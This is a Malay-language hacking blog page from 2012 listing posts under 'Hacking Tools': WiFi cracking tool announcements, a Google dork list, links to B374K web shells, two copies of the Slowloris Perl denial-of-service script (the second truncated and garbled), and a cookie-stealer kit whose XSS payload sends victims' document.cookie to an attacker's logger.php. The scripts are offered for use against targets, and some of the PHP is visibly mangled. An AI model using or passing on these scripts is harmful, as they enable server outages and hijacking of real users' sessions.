Showing posts with label Hacking Tools. Show all posts
Showing posts with label Hacking Tools. Show all posts

Monday, 17 September 2012

Websploit Framework V.2.0.2

Ini adalah update terkini bagi Websploit Framework yang dibangunkan oleh Fardin OxOptimOus update ini membawa beberapa penambahan terbaru termasuklah Wifi Jammer dan beberapa penambahbaikan bugs iaitu :


  • Update & upgrade Command Added 
  • Scan command added in wireless modules for scan wireless
  • GUI Installer



Anda boleh memuatturun Websploit Framework v.2.0.2 melalui laman web SourceForge

Websploit Framework V.2.0.2 :



Friday, 29 June 2012

Fern - Aplikasi Pengujian Keselamatan Talian Tanpa Wayar


Ini adalah salah satu script pengujian keselamatan talian tanpa wayar yang ditulis dalam bahasa pemprograman python dan menggunakan python-qt4.


Aplikasi ini haruslah digunakan bersama aircrack-ng yang kebiasaannya tersedia dalam sistem operasi linux seperti backtrack.


Aplikasi ini tersedia dengan versi terkini 1.5, caranya muat turun versi 1.2 dan kemaskini ke versi 1.5 dengan menggunakan butang kemas kini.












Semak Di Sini :



Thursday, 28 June 2012

Wifite - Wifi Hack Tool


Wifite adalah salah satu script yang ditulis dalam bahasa pemprograman python. Wifite digunakan untuk memudahkan kerja ujian keselamatan ke atas talian WiFi yang dikunci menggunakan WEP atau WPA. Wifite hendaklah digunakan bersama script aircrack-ng dan proses ujian keselamatan akan dilakukan secara automatik.


Wifite tidak mempunyai GUI dan semuanya harus dilakukan secara manual iaitu dengan menggunakan arahan di dalam terminal.


Wifite dibangunkan dan telah diuji ke atas beberapa sistem operasi Linux iaitu Bactrack 5, BlackBuntu, BlackBox, Ubuntu, Debian, Fedora dan Pentoo. Wifite tidak menyokong untuk digunakan di dalam sistem operasi windows.







Untuk mengetahui Wifite bolehlah melayari link di bawah ini :



Monday, 28 May 2012

7000 Senarai Google Dork



Google merupakan sebuah mesin carian yang terkenal di zaman teknologi ini. Ianya digunakan oleh seluruh pengguna internet di seluruh dunia, termasuk si sang "HACKER". Disini saya kongsikan 7000 senarai google dork untuk kegunaan anda XD

Sila klik link di bawah untuk mendapatkan senarai GOOGLE DORK





Wednesday, 2 May 2012

WebSploit Toolkit 1.6 Released


WebSpoilt dibangunkan di bawah open source project untuk membuat pengesanan dan analisisuntuk remote system mengenai kelemahan sekuriti.


Tools Description :


[+]Autopwn - Used From Metasploit For Scan and Exploit Target Service
[+]wmap - Scan,Crawler Target Used From Metasploit wmap plugin
[+]format infector - inject reverse & bind payload into file format
[+]phpmyadmin - Search Target phpmyadmin login page
[+]lfi - Scan,Bypass local file inclusion Vulnerability & can be bypass some WAF
[+]apache users - search server username directory (if use from apache webserver)
[+]Dir Bruter - brute target directory with wordlist
[+]admin finder - search admin & login page of target
[+]MLITM Attack - Man Left In The Middle, XSS Phishing Attacks
[+]MITM - Man In The Middle Attack
[+]Java Applet Attack - Java Signed Applet Attack
[+]MFOD Attack Vector - Middle Finger Of Doom Attack Vector
[+]USB Infection Attack - Create Executable Backdoor For Infect USB For Windows


Download melalui link di bawah ini :
NOT TEST
Downloads:

Saturday, 28 April 2012

Shell B374K Newbie3viLc063s

Salam Olz...




Ne juz update simple je, juz nak sharing Shell B374K Newbie3viLc063s bagi sesiapa yang masih mencari Shell tu.




Shell B374K Newbie3viLc063s 2012 R2
Link : http://pastebin.com/TB1YaMSZ


B374K m1n1 Newbie3vilc063s Shell
Link : http://pastebin.com/mpic4274




Have a nice day XD



Sunday, 22 April 2012

[Perl] DDos Script



#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;


$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors


my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);


if ($version) {
    print "Version 0.7\n";
    exit;
}


unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}


unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}


unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}


unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}


my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}


my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;


srand() if ($cache);


if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}


if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";


    my $delay   = 0;
    my $working = 0;
    my $sock;


    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }


    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally 
takes between 200-500 threads for most servers and assuming any latency at 
all...  you might have trouble using Slowloris against this target.  You can 
tweak the -timeout flag down to less than 10 seconds but it still may not 
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";


    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}


sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}


sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}


__END__


NOT TESTED - JUST SHARING

Thursday, 1 March 2012

Perl Script - Ddos



Script perl untuk melakukan aktiviti Ddos

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print < "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

__END__

Wednesday, 29 February 2012

Cookie Stealer Advanced Dengan Pagination


1. Logger [save as logger.php]

PHP Code:
<?php
$cookie 
$HTTP_GET_VARS["cookie"];$date date ("j F Y h:i:s A");$ip $_SERVER['REMOTE_ADDR'];$agent $_SERVER['HTTP_USER_AGENT'];$referer $_SERVER['HTTP_REFERER'];$file fopen('logs.html''a');fwrite($file"<tr><td>\n <font color='#990000' ><b>\n Cookies : </b></font>$cookie <br>\n<font color='#990000' ><b> Date : </b></font> $date <br>\n <font color='#990000' ><b> IP : </b></font> $ip <br>\n<font color='#990000' ><b>\n Referer : </b></font>$referer <br>\n<font color='#990000' ><b> Agent : </b></font> $agent <br>\n<hr><hr><br>\n</td></tr>\n");fclose($file);header'Location: http://www.redirectURL.com' ) ;?>


2. JS Logger [save as logger.js]
[Untuk dimasukkan ke dalam XSS anda]

Quote:<script src=http://www.yourwebsite.com/logger.js>

PHP Code:
location.href 'http://youwebsite.com/logger.php?cookie='+encodeURIComponent(document.cookie); 


3. Page Cookie Logs [save as logs.php]

PHP Code:
<!-- If you wanna highlight a specific words -->

<
script type="text/javascript" src="highlight.js"></script><body onload="highlightSearchTerms('Word1');highlightSearchTerms('Word2');highlightSearchTerms​('Word3')">

<head>
  <style type="text/css">

            body
            {
 overflow:visible;
            }
    .pg-normal {
    color: black;
    font-weight: normal;
    text-decoration: none;
    cursor: pointer;
    }
    .pg-selected {
    color: black;
    font-weight: bold;
    text-decoration: underline;
    cursor: pointer;
    }
  </style>

  <script type="text/javascript" src="page.js"></script>
    </head>
<body>
  <center><div id="pageNavPosition"></div></center><br><hr>
  <form action="" method="get" enctype="application/x-www-form-urlencoded">
  <table  id="results">
    <tr>
    <th></th>
    <th></th>
    </tr>

<?php include 'logs.html'?>
 </table>
    </form>

    <script type="text/javascript"><!--
  var pager = new Pager('results', 10);
  pager.init();
  pager.showPageNav('pager', 'pageNavPosition');
  pager.showPage(1);
    //--></script>

    </body>
</html> 


5. HTML Logs [save as logs.html]

** Buat satu page html kosong


4. JS Page [save as page.js]
[Untuk membuat page anda]


PHP Code:
function Pager(tableNameitemsPerPage) {
    
this.tableName tableName;
    
this.itemsPerPage itemsPerPage;
    
this.currentPage 1;
    
this.pages 0;
    
this.inited false;

    
this.showRecords = function(fromto) {
  var 
rows document.getElementById(tableName).rows;
  
// i starts from 1 to skip table header row
  
for (var 1rows.lengthi++) {
    if (
from || to)
    
rows[i].style.display 'none';
    else
    
rows[i].style.display '';
  }
    }

    
this.showPage = function(pageNumber) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }

  var 
oldPageAnchor document.getElementById('pg'+this.currentPage);
  
oldPageAnchor.className 'pg-normal';

  
this.currentPage pageNumber;
  var 
newPageAnchor document.getElementById('pg'+this.currentPage);
  
newPageAnchor.className 'pg-selected';

  var 
from = (pageNumber 1) * itemsPerPage 1;
  var 
to from itemsPerPage 1;
  
this.showRecords(fromto);
    }

    
this.prev = function() {
  if (
this.currentPage 1)
    
this.showPage(this.currentPage 1);
    }

    
this.next = function() {
  if (
this.currentPage this.pages) {
    
this.showPage(this.currentPage 1);
  }
    }

    
this.init = function() {
  var 
rows document.getElementById(tableName).rows;
  var 
records = (rows.length 1);
  
this.pages Math.ceil(records itemsPerPage);
  
this.inited true;
    }

    
this.showPageNav = function(pagerNamepositionId) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }
  var 
element document.getElementById(positionId);

  var 
pagerHtml '<span onclick="' pagerName '.prev();" class="pg-normal"> &#171 Prev </span> | ';
  for (var 
page 1page <= this.pagespage++)
    
pagerHtml += '<span id="pg' page '" class="pg-normal" onclick="' pagerName '.showPage(' page ');">' page '</span> | ';
  
pagerHtml += '<span onclick="'+pagerName+'.next();" class="pg-normal"> Next »</span>';

  
element.innerHTML pagerHtml;
    }



5. JS Highlight [save as highlight.js]
[**Pilihan Sahaja : Untuk membuat perkataan tertentu dihighlight seperti dalam gambar yang diatas sekali]


PHP Code:
function doHighlight(bodyTextsearchTermhighlightStartTaghighlightEndTag)
{
  
// the highlightStartTag and highlightEndTag parameters are optional
  
if ((!highlightStartTag) || (!highlightEndTag)) {
    
highlightStartTag "<font style='color:blue; background-color:yellow;'><b>";
    
highlightEndTag "</font></b>";
  }
  var 
newText "";
  var 
= -1;
  var 
lcSearchTerm searchTerm.toLowerCase();
  var 
lcBodyText bodyText.toLowerCase();

  while (
bodyText.length 0) {
    
lcBodyText.indexOf(lcSearchTermi+1);
    if (
0) {
  
newText += bodyText;
  
bodyText "";
    } else {
  
// skip anything inside an HTML tag
  
if (bodyText.lastIndexOf(">"i) >= bodyText.lastIndexOf("<"i)) {
  
// skip anything inside a <script> block
  
if (lcBodyText.lastIndexOf("/script>"i) >= lcBodyText.lastIndexOf("<script"i)) {
    
newText += bodyText.substring(0i) + highlightStartTag bodyText.substr(isearchTerm.length) + highlightEndTag;
    
bodyText bodyText.substr(searchTerm.length);
    
lcBodyText bodyText.toLowerCase();
    
= -1;
  }
  }
    }
  }

  return 
newText;
}

function 
highlightSearchTerms(searchTexttreatAsPhrasewarnOnFailurehighlightStartTaghighlightEndTag)
{
  if (
treatAsPhrase) {
    
searchArray = [searchText];
  } else {
    
searchArray searchText.split(" ");
  }

  if (!
document.body || typeof(document.body.innerHTML) == "undefined") {
    if (
warnOnFailure) {
  
alert("Sorry, for some reason the text of this page is unavailable. Searching will not work.");
    }
    return 
false;
  }

  var 
bodyText document.body.innerHTML;
  for (var 
0searchArray.lengthi++) {
    
bodyText doHighlight(bodyTextsearchArray[i], highlightStartTaghighlightEndTag);
  }

  
document.body.innerHTML bodyText;
  return 
true;
}
/*
 * This displays a dialog box that allows a user to enter their own
 * search terms to highlight on the page, and then passes the search
 * text or phrase to the highlightSearchTerms function. All parameters
 * are optional.
 */
function searchPrompt(defaultTexttreatAsPhrasetextColorbgColor)
{
  
// This function prompts the user for any words that should
  // be highlighted on this web page
  
if (!defaultText) {
    
defaultText "";
  }

  
// we can optionally use our own highlight tag values
  
if ((!textColor) || (!bgColor)) {
    
highlightStartTag "";
    
highlightEndTag "";
  } else {
    
highlightStartTag "<font style='color:" textColor "; background-color:" bgColor ";'>";
    
highlightEndTag "</font>";
  }

  if (
treatAsPhrase) {
    
promptText "Please enter the phrase you'd like to search for:";
  } else {
    
promptText "Please enter the words you'd like to search for, separated by spaces:";
  }

  
searchText prompt(promptTextdefaultText);

  if (!
searchText)  {
    
alert("No search terms were entered. Exiting function.");
    return 
false;
  }

  return 
highlightSearchTerms(searchTexttreatAsPhrasetruehighlightStartTaghighlightEndTag);
}
/*
 * This function takes a referer/referrer string and parses it
 * to determine if it contains any search terms. If it does, the
 * search terms are passed to the highlightSearchTerms function
 * so they can be highlighted on the current page.
 */
function highlightGoogleSearchTerms(referrer)
{
  
// This function has only been very lightly tested against
  // typical Google search URLs. If you wanted the Google search
  // terms to be automatically highlighted on a page, you could
  // call the function in the onload event of your <body> tag,
  // like this:
  //   <body onload='highlightGoogleSearchTerms(document.referrer);'>

  //var referrer = document.referrer;
  
if (!referrer) {
    return 
false;
  }

  var 
queryPrefix "q=";
  var 
startPos referrer.toLowerCase().indexOf(queryPrefix);
  if ((
startPos 0) || (startPos queryPrefix.length == referrer.length)) {
    return 
false;
  }

  var 
endPos referrer.indexOf("&"startPos);
  if (
endPos 0) {
    
endPos referrer.length;
  }

  var 
queryString referrer.substring(startPos queryPrefix.lengthendPos);
  
// fix the space characters
  
queryString queryString.replace(/%20/gi" ");
  
queryString queryString.replace(/\+/gi" ");
  
// remove the quotes (if you're really creative, you could search for the
  // terms within the quotes as phrases, and everything else as single terms)
  
queryString queryString.replace(/%22/gi"");
  
queryString queryString.replace(/\"/gi, "");

  return highlightSearchTerms(queryString, false);
}

/*
 * This function is just an easy way to test the highlightGoogleSearchTerms
 * function.
 */
function testHighlightGoogleSearchTerms()
{
  var referrerString = "
http://www.google.com/search?q=javascript%20highlight&start=0";
  
referrerString prompt("Test the following referrer string:"referrerString);
  return 
highlightGoogleSearchTerms(referrerString);